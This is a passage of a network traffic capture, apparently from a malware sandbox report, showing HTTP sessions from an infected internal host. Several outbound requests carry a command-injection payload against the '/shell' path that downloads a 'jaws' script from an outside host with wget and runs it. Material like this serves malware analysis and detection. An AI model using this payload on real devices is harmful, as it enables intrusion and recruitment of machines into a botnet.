Apr 14, 2024 04:01:37.923487902 CEST	579	IN	HTTP/1.1 302 Found Date: Sun, 14 Apr 2024 02:01:37 GMT Server: Apache/2.4.38 Location: /login/login.html Cache-Control: no-cache Content-Length: 201 Content-Type: text/html; charset=iso-8859-1 Set-Cookie: form_session=;Max-Age=0;path=/;httponly; Set-Cookie: form_session=;Max-Age=0;path=/;httponly; Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 2f 6c 6f 67 69 6e 2e 68 74 6d 6c 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="/login/login.html">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2030	192.168.2.13	59038	65.9.75.93	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.609944105 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:37.923299074 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:37 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2031	192.168.2.13	39942	193.205.7.221	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.635351896 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:37.974133968 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Apr 14, 2024 04:01:38.368122101 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Apr 14, 2024 04:01:38.772361040 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Apr 14, 2024 04:01:39.164509058 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Apr 14, 2024 04:01:39.562762022 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Apr 14, 2024 04:01:39.964476109 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Apr 14, 2024 04:01:40.368949890 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Apr 14, 2024 04:01:40.765256882 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Apr 14, 2024 04:01:41.168378115 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Apr 14, 2024 04:01:41.617676020 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Apr 14, 2024 04:01:41.964029074 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Apr 14, 2024 04:01:42.362402916 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2032	192.168.2.13	60246	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.642386913 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:40Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2033	192.168.2.13	60252	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.672945976 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:40Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2034	192.168.2.13	60278	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.985112906 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:40Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2035	192.168.2.13	60296	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
